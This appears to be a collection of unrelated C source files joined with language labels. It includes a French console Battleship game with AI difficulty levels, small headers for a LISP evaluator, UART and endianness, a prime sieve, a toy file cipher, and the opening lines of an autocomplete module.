flag = 0;
}
}
flag = 1;
}
}
int setCroiseurIA(int player, int nbCroiseur, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int x = -1;
int y = -1;
int flag = 1;
int orientation;
for(i=0;i<nbCroiseur;i++){
while(flag){
y = doRand(0,PLATEAU_WIDTH);
x = doRand(0,PLATEAU_HEIGHT);
orientation = doRand(0,1);
if(testCase(player,orientation,x,y,CROISEUR_WIDTH,plateau) == 0){
setNavire(player,orientation,x,y,CROISEUR_WIDTH,CROISEUR_ID,plateau);
flag = 0;
}
}
flag = 1;
}
}
int setPorteAvionIA(int player, int nbPorteAvion, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int x = -1;
int y = -1;
int flag = 1;
int orientation;
for(i=0;i<nbPorteAvion;i++){
while(flag){
y = doRand(0,PLATEAU_WIDTH);
x = doRand(0,PLATEAU_HEIGHT);
orientation = doRand(0,1);
if(testCase(player,orientation,x,y,PORTE_AVION_WIDTH,plateau) == 0){
setNavire(player,orientation,x,y,PORTE_AVION_WIDTH,PORTE_AVION_ID,plateau);
flag = 0;
}
}
flag = 1;
}
}
int checkSaisi(int min, int max, const char* text){
int saisi = -1;
while(saisi){
if(text != NULL){
printf(text);
}
printf("Saisir un entier entre %d et %d\n", min, max);
scanf("%d[0-9]",&saisi);
fflush(stdin);
if(saisi >= min && saisi <= max){
return saisi;
}else{
printf("Erreur respecter l'interval\n");
}
}
}
int setPorteAvionPlayer(int player, int nbPorteAvion, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int x = -1;
int y = -1;
int flag = 1;
int orientation;
for(i=0;i<nbPorteAvion;i++){
while(flag){
printf("Porte avion numero : %d\n", i);
y = checkSaisi(0,PLATEAU_WIDTH-1,"Coordonnee y pour porte avion\n");
x = checkSaisi(0,PLATEAU_HEIGHT-1,"Coordonnee x pour porte avion\n");
orientation = checkSaisi(0,1,"Choisir l'orientation du bateau 0 vertical 1 horizontal\n");
if(testCase(player,orientation,x,y,PORTE_AVION_WIDTH,plateau) == 0){
setNavire(player,orientation,x,y,PORTE_AVION_WIDTH,PORTE_AVION_ID,plateau);
flag = 0;
printTableau(player,plateau);
}else{
printf("Le porte avion numero : %d ne peut etre place\n", i + 1);
}
}
flag = 1;
}
}
int setCroiseurPlayer(int player, int nbCroiseur, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int x = -1;
int y = -1;
int flag = 1;
int orientation;
for(i=0;i<nbCroiseur;i++){
while(flag){
printf("Croiseur numero : %d\n", i);
y = checkSaisi(0,PLATEAU_WIDTH-1,"Coordonnee y pour croiseur\n");
x = checkSaisi(0,PLATEAU_HEIGHT-1,"Coordonnee x pour croiseur\n");
orientation = checkSaisi(0,1,"Choisir l'orientation du bateau 0 vertical 1 horizontal\n");
if(testCase(player,orientation,x,y,CROISEUR_WIDTH,plateau) == 0){
setNavire(player,orientation,x,y,CROISEUR_WIDTH,CROISEUR_ID,plateau);
flag = 0;
printTableau(player,plateau);
}else{
printf("Le croiseur numero : %d ne peut etre place\n", i + 1);
}
}
flag = 1;
}
}
int setDestroyerPlayer(int player, int nbDestroyer, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int x = -1;
int y = -1;
int flag = 1;
int orientation;
for(i=0;i<nbDestroyer;i++){
while(flag){
printf("Destroyer numero : %d\n", i);
y = checkSaisi(0,PLATEAU_WIDTH-1,"Coordonnee y pour destroyer\n");
x = checkSaisi(0,PLATEAU_HEIGHT-1,"Coordonnee x pour destroyer\n");
orientation = checkSaisi(0,1,"Choisir l'orientation du bateau 0 vertical 1 horizontal\n");
if(testCase(player,orientation,x,y,DESTROYER_WIDTH,plateau) == 0){
setNavire(player,orientation,x,y,DESTROYER_WIDTH,DESTROYER_ID,plateau);
flag = 0;
printTableau(player,plateau);
}else{
printf("Le destroyer numero : %d ne peut etre place\n", i + 1);
}
}
flag = 1;
}
}
int setCorvettePlayer(int player, int nbCorvette, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int x = -1;
int y = -1;
int flag = 1;
int orientation;
for(i=0;i<nbCorvette;i++){
while(flag){
printf("Corvette numero : %d\n", i);
y = checkSaisi(0,PLATEAU_WIDTH-1,"Coordonnee y pour corvette\n");
x = checkSaisi(0,PLATEAU_HEIGHT-1,"Coordonnee x pour corvette\n");
orientation = checkSaisi(0,1,"Choisir l'orientation du bateau 0 vertical 1 horizontal\n");
if(testCase(player,orientation,x,y,CORVETTE_WIDTH,plateau) == 0){
setNavire(player,orientation,x,y,CORVETTE_WIDTH,CORVETTE_ID,plateau);
flag = 0;
printTableau(player,plateau);
}else{
printf("La corvette numero : %d ne peut etre place\n", i + 1);
}
}
flag = 1;
}
}
int setNavires(int nbPlayer, int type, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
printf("Joueur %d :\n",nbPlayer+1);
if(type == 0){
setPorteAvionIA(nbPlayer,PORTE_AVION_NB,plateau);
setCroiseurIA(nbPlayer,CROISEUR_NB,plateau);
setDestroyerIA(nbPlayer,DESTROYER_NB,plateau);
setCorvetteIA(nbPlayer,CORVETTE_NB,plateau);
}else if(type == 1){
setPorteAvionPlayer(nbPlayer,PORTE_AVION_NB,plateau);
setCroiseurPlayer(nbPlayer,CROISEUR_NB,plateau);
setDestroyerPlayer(nbPlayer,DESTROYER_NB,plateau);
setCorvettePlayer(nbPlayer,CORVETTE_NB,plateau);
}
}
void purgeTableau(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int j = 0;
int k = 0;
for(k=0;k<NB_PLAYER;k++){
for(i=0;i<PLATEAU_HEIGHT;i++){
for(j=0;j<PLATEAU_WIDTH;j++){
plateau[k][i][j] = 0;
}
}
}
}
void printTableau(int player, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int j = 0;
printf("Tableau player : %d\n",player+1);
for(i=-1;i<PLATEAU_HEIGHT;i++){
for(j=-1;j<PLATEAU_WIDTH;j++){
if(i == -1 && j == -1){
printf("y\\x");
}else if(i == -1 && j > -1){
if(j < 10){
printf("%d ",j);
}else if(j<100){
printf("%d ",j);
}
}else if(j == -1){
if(i < 10){
printf("%d ",i);
}else if(i<100){
printf("%d ",i);
}
}else{
if(plateau[player][i][j]==0){
setConsoleColor(FOREGROUND_BLUE | FOREGROUND_INTENSITY);
}else if(plateau[player][i][j]==CORVETTE_ID
||plateau[player][i][j]==DESTROYER_ID
||plateau[player][i][j]==PORTE_AVION_ID
||plateau[player][i][j]==CROISEUR_ID){
setConsoleColor(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
}else if(plateau[player][i][j]==8){
setConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
}else if(plateau[player][i][j]==9){
setConsoleColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
}
printf("%d ",plateau[player][i][j]);
setConsoleColor(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
}
}
printf("\n");
}
}
void printMyTableau(int player, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int j = 0;
printf("Tableau player : %d\n",player+1);
for(i=-1;i<PLATEAU_HEIGHT;i++){
for(j=-1;j<PLATEAU_WIDTH;j++){
if(i == -1 && j == -1){
printf("y\\x");
}else if(i == -1 && j > -1){
if(j < 10){
printf("%d ",j);
}else if(j<100){
printf("%d ",j);
}
}else if(j == -1){
if(i < 10){
printf("%d ",i);
}else if(i<100){
printf("%d ",i);
}
}else{
setConsoleColor(FOREGROUND_BLUE | FOREGROUND_INTENSITY);
if(plateau[player][i][j]==0){
setConsoleColor(FOREGROUND_BLUE | FOREGROUND_INTENSITY);
}else if(plateau[player][i][j]==CORVETTE_ID
||plateau[player][i][j]==DESTROYER_ID
||plateau[player][i][j]==PORTE_AVION_ID
||plateau[player][i][j]==CROISEUR_ID){
setConsoleColor(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
}else if(plateau[player][i][j]==8){
setConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
}else if(plateau[player][i][j]==9){
setConsoleColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
}
printf("%d ",plateau[player][i][j]);
setConsoleColor(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
}
}
printf("\n");
}
}
void printHiddenTableau(int player, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int j = 0;
printf("Tableau player : %d\n",player+1);
for(i=-1;i<PLATEAU_HEIGHT;i++){
for(j=-1;j<PLATEAU_WIDTH;j++){
if(i == -1 && j == -1){
printf("y\\x");
}else if(i == -1 && j > -1){
if(j < 10){
printf("%d ",j);
}else if(j<100){
printf("%d ",j);
}
}else if(j == -1){
if(i < 10){
printf("%d ",i);
}else if(i<100){
printf("%d ",i);
}
}else{
setConsoleColor(FOREGROUND_BLUE | FOREGROUND_INTENSITY);
switch(plateau[player][i][j]){
case CORVETTE_ID:
printf("0 ");
break;
case DESTROYER_ID:
printf("0 ");
break;
case PORTE_AVION_ID:
printf("0 ");
break;
case CROISEUR_ID:
printf("0 ");
break;
default:
if(plateau[player][i][j]==8){
setConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY);
}else if(plateau[player][i][j]==9){
setConsoleColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
}
printf("%d ",plateau[player][i][j]);
setConsoleColor(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
}
}
}
printf("\n");
}
}
void printAllPlateau(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i;
for(i=0;i<NB_PLAYER;i++){
printTableau(i,plateau);
printf("/////////////////////////////////////////////\n");
}
}
void setPlateau(int player, int type, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
setNavires(player,type,plateau);
}
void ia1(int playerToFire,int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int flag = 1;
while(flag){
int y = doRand(0,PLATEAU_WIDTH+1);
int x = doRand(0,PLATEAU_HEIGHT+1);
if(plateau[playerToFire][x][y] != HIT && plateau[playerToFire][x][y] != MISS){
if(plateau[playerToFire][x][y] != 0){
printf("hit %d %d\n",x,y);
plateau[playerToFire][x][y] = HIT;
flag = 0;
}else if(plateau[playerToFire][x][y] == 0){
printf("miss %d %d\n",x,y);
plateau[playerToFire][x][y] = MISS;
flag = 0;
}
}
}
}
void ia2(int playerToFire,int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int flag = 1;
int i,j;
while(flag){
int y;
int x;
for(i=0;i<PLATEAU_HEIGHT;i++){
for(j=0;j<PLATEAU_WIDTH;j++){
if(plateau[playerToFire][i][j] != HIT && plateau[playerToFire][i][j] != MISS
&& plateau[playerToFire][i][j] != 0 && doRand(0,99) < 75){
x = i;
y = j;
}
}
}
if(doRand(0,99) < 95){
y = doRand(0,PLATEAU_WIDTH+1);
x = doRand(0,PLATEAU_HEIGHT+1);
}
if(plateau[playerToFire][x][y] != HIT && plateau[playerToFire][x][y] != MISS){
if(plateau[playerToFire][x][y] != 0){
printf("hit %d %d\n",x,y);
plateau[playerToFire][x][y] = HIT;
flag = 0;
}else if(plateau[playerToFire][x][y] == 0){
printf("miss %d %d\n",x,y);
plateau[playerToFire][x][y] = MISS;
flag = 0;
}
}
}
}
void ia3(int playerToFire,int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int flag = 1;
int i,j;
while(flag){
int y;
int x;
for(i=0;i<PLATEAU_HEIGHT;i++){
for(j=0;j<PLATEAU_WIDTH;j++){
if(plateau[playerToFire][i][j] != HIT && plateau[playerToFire][i][j] != MISS
&& plateau[playerToFire][i][j] != 0 && doRand(0,99) < 75){
x = i;
y = j;
}
}
}
if(doRand(0,99) < 75){
y = doRand(0,PLATEAU_WIDTH+1);
x = doRand(0,PLATEAU_HEIGHT+1);
}
if(plateau[playerToFire][x][y] != HIT && plateau[playerToFire][x][y] != MISS){
if(plateau[playerToFire][x][y] != 0){
printf("hit %d %d\n",x,y);
plateau[playerToFire][x][y] = HIT;
flag = 0;
}else if(plateau[playerToFire][x][y] == 0){
printf("miss %d %d\n",x,y);
plateau[playerToFire][x][y] = MISS;
flag = 0;
}
}
}
}
void ia4(int lastHit[2],char* fileHit,int playerToFire,int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int flag = 1;
int i,j;
int y,x;
saveTo1(lastHit,2,fileHit);
while(flag){
loadFrom1(lastHit,2,fileHit);
if(lastHit[X]<PLATEAU_HEIGHT && lastHit[X]>-1
&& lastHit[Y]<PLATEAU_WIDTH && lastHit[Y]>-1
&& plateau[playerToFire][lastHit[X]][lastHit[Y]] == 8){
for(i=0;i<4;i++){
if(i==0
&& (lastHit[X]+1<PLATEAU_HEIGHT
&& plateau[playerToFire][lastHit[X]+1][lastHit[Y]] != 8
&& plateau[playerToFire][lastHit[X]+1][lastHit[Y]] != 9)){
y = lastHit[Y];
x = lastHit[X]+1;
break;
}else if(i==1
&& lastHit[X]-1>=0
&& plateau[playerToFire][lastHit[X]-1][lastHit[Y]] != 8
&& plateau[playerToFire][lastHit[X]-1][lastHit[Y]] != 9){
y = lastHit[Y];
x = lastHit[X]-1;
break;
}else if(i==2
&& lastHit[Y]+1<PLATEAU_WIDTH
&& plateau[playerToFire][lastHit[X]][lastHit[Y]+1] != 8
&& plateau[playerToFire][lastHit[X]][lastHit[Y]+1] != 9){
y = lastHit[Y]+1;
x = lastHit[X];
break;
}else if(i==3
&& lastHit[Y]-1>=0
&& plateau[playerToFire][lastHit[X]][lastHit[Y]-1] != 8
&& plateau[playerToFire][lastHit[X]][lastHit[Y]-1] != 9){
y = lastHit[Y]-1;
x = lastHit[X];
break;
}
}
if(i == 4){
for(j=0;j<2;j++){
lastHit[j]=-2;
}
saveTo1(lastHit,2,fileHit);
}
}else{
y = doRand(0,PLATEAU_WIDTH+1);
x = doRand(0,PLATEAU_HEIGHT+1);
}
if(plateau[playerToFire][x][y] != HIT && plateau[playerToFire][x][y] != MISS){
if(plateau[playerToFire][x][y] != 0){
printf("hit %d %d\n",x,y);
plateau[playerToFire][x][y] = HIT;
lastHit[X]=x;
lastHit[Y]=y;
saveTo1(lastHit,2,fileHit);
flag = 0;
}else if(plateau[playerToFire][x][y] == 0){
printf("miss %d %d\n",x,y);
plateau[playerToFire][x][y] = MISS;
flag = 0;
}
}
}
}
int notAlreadyDead(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i,j,k;
//printf("before\n");
int flags [NB_PLAYER] = {0};
//printf("after\n");
for(i=0;i<NB_PLAYER;i++){
for(j=0;j<PLATEAU_HEIGHT;j++){
for(k=0;k<PLATEAU_WIDTH;k++){
if(plateau[i][j][k] == CORVETTE_ID || plateau[i][j][k] == DESTROYER_ID
|| plateau[i][j][k] == CROISEUR_ID || plateau[i][j][k] == PORTE_AVION_ID ){
flags[i] = 1;
}
}
}
}
//printf("tested\n");
for(i=0;i<NB_PLAYER;i++){
if(flags[i] == 0){
printf("Le joueur %d a perdu\n",i+1);
return 0;
}
}
return 1;
}
int selectIADifficulty(){
int ia = -1;
do{
system("cls");
printf("#############################\n");
printf("# Select ia level #\n");
printf("#############################\n\n");
printf("1 => easy\n");
printf("2 => medium\n");
printf("3 => hard\n");
printf("4 => human\n");
scanf("%d",&ia);
fflush(stdin);
}while(ia<1||ia>4);
return ia;
}
void playIAvsIA(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 1;
int j;
int iaJ1 = selectIADifficulty();
int iaJ2 = selectIADifficulty();
int lastHitIA1[2];
int lastHitIA2[2];
for(j=0;j<2;j++){
lastHitIA1[j]=-2;
lastHitIA2[j]=-2;
}
while(notAlreadyDead(plateau)){
printf("turn %d\n",i);
switch(iaJ1){
case 1:
ia1(1,plateau);
break;
case 2:
ia2(1,plateau);
break;
case 3:
ia3(1,plateau);
break;
case 4:
ia4(lastHitIA1,"ia1Hit",1,plateau);
break;
}
switch(iaJ2){
case 1:
ia1(0,plateau);
break;
case 2:
ia2(0,plateau);
break;
case 3:
ia3(0,plateau);
break;
case 4:
ia4(lastHitIA2,"ia2Hit",0,plateau);
break;
}
savePlateau(plateau);
i++;
printAllPlateau(plateau);
getchar();
}
}
void joueur(int currentPlayer, int playerToFire,int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int flag = 1;
int x;
int y;
printMyTableau(currentPlayer,plateau);
while(flag){
printHiddenTableau(playerToFire,plateau);
y = checkSaisi(0,PLATEAU_WIDTH-1,"Coordonnee y\n");
x = checkSaisi(0,PLATEAU_HEIGHT-1,"Coordonnee x\n");
if(plateau[playerToFire][x][y] != HIT && plateau[playerToFire][x][y] != MISS){
if(plateau[playerToFire][x][y] != 0){
printf("hit %d %d\n",x,y);
plateau[playerToFire][x][y] = HIT;
flag = 0;
}else if(plateau[playerToFire][x][y] == 0){
printf("miss %d %d\n",x,y);
plateau[playerToFire][x][y] = MISS;
flag = 0;
}
}else{
printf("Coordonnees invalide\n");
}
}
}
void playJoueurvsIA(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 1;
int iaJ2 = selectIADifficulty();
while(notAlreadyDead(plateau)){
system("cls");
printf("turn %d\n",i);
joueur(0,1,plateau);
system("cls");
printf("turn %d\n",i);
switch(iaJ2){
case 1:
ia1(0,plateau);
break;
case 2:
ia2(0,plateau);
break;
case 3:
ia3(0,plateau);
break;
}
savePlateau(plateau);
i++;
}
}
void playJoueurvsJoueur(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 1;
while(notAlreadyDead(plateau)){
system("cls");
printf("turn %d\n",i);
joueur(0,1,plateau);
printf("Appuyer sur entre pour joueur2");
getchar();
system("cls");
printf("turn %d\n",i);
joueur(1,0,plateau);
printf("Appuyer sur entre pour joueur1");
getchar();
savePlateau(plateau);
i++;
}
}
int battleShip(){
playMode();
return 0;
}
int testRand(){
#define numberOfRand 10000
#define numberOfValues 100
int tab[numberOfRand] = {0};
for(int i = 0; i < numberOfRand; i++){
tab[i] = doRand(0,numberOfValues);
}
int result[numberOfValues] = {0};
for(int i = 0; i < numberOfValues; i++){
for(int j = 0; j < numberOfRand; j++){
if(tab[j] == i){
result[i]++;
}
}
}
for(int i = 0; i < numberOfValues; i++){
printf("Valeur %d occurence %d\n",i,result[i]);
}
}
int playMode(){
int selection = -1;
int isLoaded = 1;
int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH];
while(selection){
system("cls");
selection = -1;
if(isLoaded){
purgeTableau(plateau);
}
setConsoleColor(FOREGROUND_BLUE | FOREGROUND_INTENSITY);
printf("#############################\n");
printf("# Welcome to battleship #\n");
printf("# Select your game mode #\n");
printf("#############################\n\n");
printf("1 => ia vs ia\n");
printf("2 => player vs ia\n");
printf("3 => player vs player\n");
printf("4 => load game\n");
printf("0 => leave\n");
scanf("%d[0-9]",&selection);
setConsoleColor(FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
switch(selection){
case 1 :
if(isLoaded){
setPlateau(0,IA,plateau);
setPlateau(1,IA,plateau);
}
playIAvsIA(plateau);
printAllPlateau(plateau);
fflush(stdin);
getchar();
break;
case 2 :
if(isLoaded){
setPlateau(0,PLAYER,plateau);
setPlateau(1,IA,plateau);
}
playJoueurvsIA(plateau);
printAllPlateau(plateau);
fflush(stdin);
getchar();
break;
case 3 :
if(isLoaded){
setPlateau(0,PLAYER,plateau);
setPlateau(1,PLAYER,plateau);
}
playJoueurvsJoueur(plateau);
printAllPlateau(plateau);
fflush(stdin);
getchar();
break;
case 4 :
loadPlateau(plateau);
isLoaded = 0;
break;
}
}
}
int main()
{
battleShip();
}
|
C
|
// ********** Derek Leung
// ********** POTATO evaluation
#ifndef EVAL_H_INCLUDED
#define EVAL_H_INCLUDED
#include "data.h"
/**
* Applies _operator_ to _operand_, where _operator_ is either a builtin
* operator or a user-defined function and _operand_ is a list of arguments.
*/
struct obj* apply(struct obj* operator, struct obj* operand, struct env*);
/**
* Evaluates the given object (following normal LISP rules of evaluation).
*/
struct obj* evaluate(struct obj* obj, struct env*);
/**
* Prints an object to standard output.
*/
void print_obj(struct obj* obj);
/**
* Prints an object to _result_, returning length of string printed.
*
* _limit_ should be maximum length to write to what is pointed at by
* _result_. (will always terminate with null-term character)
*/
int snprint_obj(struct obj* obj, char* result, int limit);
#endif
|
C
|
#pragma once
#include "../common.h"
#include "../type_info.h"
LSTD_BEGIN_NAMESPACE
// The optional align is one of the following:
// '<' - Forces the field to be left-aligned within the available space
// (default)
// '>' - Forces the field to be right-aligned within the available space.
// '=' - Forces the padding to be placed after the sign (if any)
// but before the digits. This is used for printing fields
// in the form '+000000120'. This alignment option is only
// valid for numeric types.
// '^' - Forces the field to be centered within the available space
enum class fmt_alignment {
NONE = 0,
LEFT, // <
RIGHT, // >
NUMERIC, // =
CENTER // ^
};
// The 'sign' option is only valid for numeric types, and can be one of the
// following:
// '+' - Indicates that a sign should be used for both positive as well as
// negative numbers
// '-' - Indicates that a sign should be used only for negative numbers
// (default) ' ' - Indicates that a leading space should be used on positive
// numbers
enum class fmt_sign {
NONE = 0,
PLUS,
// MINUS has the same behaviour as NONE on our types,
// but the user might want to have different formating
// on their custom types when minus is specified,
// so we record it when parsing anyway.
MINUS,
SPACE,
};
struct fmt_specs {
code_point Fill = ' ';
fmt_alignment Align = fmt_alignment::NONE;
fmt_sign Sign = fmt_sign::NONE;
bool Hash = false;
u32 Width = 0;
s32 Precision = -1;
char Type = 0;
};
// Dynamic means that the width/precision was specified in a separate argument
// and not as a constant in the format string
struct fmt_dynamic_specs : fmt_specs {
s64 WidthIndex = -1;
s64 PrecisionIndex = -1;
};
LSTD_END_NAMESPACE
|
C
|
#include "psg.h"
#include "hal.h"
static byte prev_write;
static int p = 10;
static int MAP[256] = {
0, // On/Off
_KEY_Z, // A
_KEY_X, // B
_KEY_UP, // SELECT
_KEY_DOWN, // START
255,
255,
_KEY_LEFT,
_KEY_RIGHT,
255,
};
extern int key_state[];
inline byte psg_io_read(word address)
{
// Joystick 1
if (address == 0x4016) {
if (p++ < 9) {
return key_state[MAP[p]];
}
}
return 0;
}
inline void psg_io_write(word address, byte data)
{
if (address == 0x4016) {
if ((data & 1) == 0 && prev_write == 1) {
// strobe
p = 0;
}
}
prev_write = data & 1;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#define ST unsigned long long
#define SW (sizeof(ST) * 8)
// 5 7 . 11 13 . 17 19 . 23 25 . 29 31 . 35 37 . 41 43 . 47 49 . 53 55 . 59 61 . 65 67 . 71 73 . 77 79 .
//
//
void doSieve(ST max, void (*action)(ST)){
ST *sieve = calloc(((max) / (2 * SW)) + 3, sizeof(ST));
ST i;
for(i = 0; i < ((max) ) / 3; ++i)
{
// printf(" i = %lu, p = %lu, %lu \n", i, p, i/SW);
if(!(sieve[i / SW] & ((ST)1 << (i % SW))))
{
ST p = 5 + 2*(i + i/2);
if(p > max){
break;
}
ST l = p;
ST j = (l*p-5)/2 - (l*p-5)/6;
// printf(" l_0: %lu %lu %lu / %d\n", l, l*p, j, l%3);
if(p%3 == 1){
l += 4;
}
else{
l += 2;
}
ST j_1 = (l*p-5)/2 - (l*p-5)/6;
// printf(" l_1: %lu %lu %lu / %d\n", l, l*p, j_1, l%3);
if(p%3 == 1){
l += 2;
}
else{
l += 4;
}
ST j_2 = (l*p-5)/2 - (l*p-5)/6;
// printf(" l_1: %lu %lu %lu\n", l, l*p, j_2);
ST diff = j_2 - j;
ST hdiff =j_1 - j;
while(j < max/3-hdiff){
// printf("unsetting %lu\n", j);
sieve[j / SW] |= ((ST)1 << (j % SW));
sieve[(j+hdiff) / SW] |= ((ST)1 << ((j+hdiff) % SW));
j += diff;
}
if(j < max/3){
sieve[j / SW] |= ((ST)1 << (j % SW));
}
if(p % 150000 == 1) printf("%lu\n", p);
}
}
}
void modPrint(ST p){
if(p % 1000 == 1) printf("%lu\n", p);
}
int main(){
// unsigned long max = 10000000UL;
unsigned long max = 10000000UL;
// unsigned long max = 100UL;
doSieve(max*log(max)*log(log(max)) + 100, &modPrint);
// check(13);
return 0;
}
|
C
|
#ifndef UART_H_
#define UART_H_
enum UART {
UART0 = 0,
UART1 = 1
};
enum UPARITY {
NONE = 0,
ODD = 1,
EVEN = 2,
FONE = 3,
FZERO = 4
};
enum ONOFF {
OFF = 0,
ON = 1
};
enum USTOPB {
ONE = 0,
TWO = 1,
};
enum UWORDLEN {
FIVE = 0,
SIX = 1,
SEVEN = 2,
EIGHT = 3
};
enum URxTxMode {
DIS = 0,
POLL = 1,
INT = 2,
DMA = 3
};
struct ulconf {
enum ONOFF ired; // infrared on/off
enum UPARITY par; // partity
enum USTOPB stopb; // stop bits 1 or 2
enum UWORDLEN wordlen;
enum ONOFF echo;
int baud;
};
void uart_init(void);
int uart_lconf(enum UART port, struct ulconf *lconf);
int uart_conf_txmode(enum UART port, enum URxTxMode mode);
int uart_conf_rxmode(enum UART port, enum URxTxMode mode);
int uart_getch(enum UART port, char *c);
int uart_sendch(enum UART port, char c);
int uart_send_str(enum UART port, char *str);
void uart_printf(enum UART port, char *fmt, ...);
#endif
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "empresa.h"
int mostrarEmpresas(eEmpresa empresas[], int tam)
{
int todoOk = 0;
if(empresas != NULL && tam > 0)
{
printf(" *** empresas ***\n\n");
printf(" Id Descripcion\n");
for(int i=0; i<tam; i++)
{
printf(" %d %10s\n", empresas[i].id, empresas[i].descripcion);
}
todoOk = 1;
}
return todoOk;
}
int validarEmpresas(int id, eEmpresa empresas[], int tam)
{
int todoOk = 0;
if(empresas != NULL && tam > 0)
{
for(int i=0; i<tam; i++)
{
if(empresas[i].id == id)
{
todoOk = 1;
break;
}
}
}
return todoOk;
}
int cargarDescripcionEmpresa(eEmpresa empresas[], int tam, int idEmpresa, char descripcion[])
{
int todoOk = 0;
int flag = 1;
if(empresas != NULL && tam > 0 && descripcion != NULL)
{
todoOk = 1;
for(int i=0; i<tam; i++)
{
if(empresas[i].id == idEmpresa)
{
strcpy(descripcion, empresas[i].descripcion);
flag = 0;
break;
}
}
if(flag)
{
todoOk = -1;
}
}
return todoOk;
}
|
C
|
/********************************************************
* Para compilar gcc ProgramaBaseCifragem.c -o cifragem *
* Para executar ./cifragem *
********************************************************/
#include <stdio.h>
#include <stdlib.h>
#define TAM 9
#define SYMBOLS 256
typedef unsigned char byte;
void Cifra(byte *bloco,char *chave, int itens)
{
int i;
for(i=0; i<itens; i++)
{
if (i%2 == 0)
bloco[i] = (bloco[i] >> 1) + (chave[i] << 1);
else
bloco[i] = (bloco[i] << 1) + (chave[i] >> 1);
//printf("[%d] %3d\n", i, bloco[i]);
}
}
int main()
{
char BlocoDados[TAM], ChaveCifragem[TAM];
FILE *ArquivoEntrada,*ArquivoSaida;
char NomeArquivoEntrada[30], NomeArquivoSaida[30];
int Itens;
printf("Entre com o Nome do Arquivo Original = ");
scanf("%s",NomeArquivoEntrada);
printf("Entre com o Nome do Arquivo para Cifragem = ");
scanf("%s",NomeArquivoSaida);
printf("Entre com uma senha de 8 digitos = ");
scanf("%s",ChaveCifragem);
ArquivoEntrada = fopen(NomeArquivoEntrada,"rb");
ArquivoSaida = fopen(NomeArquivoSaida,"wb");
do
{
Itens = fread(BlocoDados,1,TAM,ArquivoEntrada);
if(Itens!=0)
{
Cifra(BlocoDados,ChaveCifragem, Itens);
fwrite(BlocoDados,Itens,1,ArquivoSaida);
}
} while(!feof(ArquivoEntrada));
fclose(ArquivoSaida);
fclose(ArquivoEntrada);
return 0;
}
|
C
|
#ifndef ENDIAN_H_
# define ENDIAN_H_
# include "iso9660.h"
/**
** Utilities to deal with endianness in iso file
*/
# if __BYTE_ORDER__ != __ORDER_LITTLE_ENDIAN__ \
&& __BYTE_ORDER__ != __ORDER_BIG_ENDIAN__
# error "only LSB & MSB byte orders are supported."
# endif
__attribute__ ((always_inline))
inline uint32_t endian32_value(struct endian32 e)
{
# if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
return e.le;
# elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
return e.be;
# endif
}
__attribute__ ((always_inline))
inline uint16_t endian16_value(struct endian16 e)
{
# if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
return e.le;
# elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
return e.be;
# endif
}
#endif /* !ENDIAN_H_ */
|
C
|
#include <string.h>
#include "autocomplete.h"
t_dictionary *get_dictionary_manager(void)
{
static t_dictionary *dictionary = NULL;
if (dictionary == NULL) {
dictionary = malloc(sizeof(t_dictionary));
// TODO: check if malloc value
dictionary->total = 0;
dictionary->list = NULL;
dictionary->root = NULL;
}
return dictionary;
}
static
void _get_word_size(int *length, int *index, const char *str)
{
int i = -1;
char buff[5];
while (str[++i] >= '0' && str[i] <= '9' && i < 4)
{
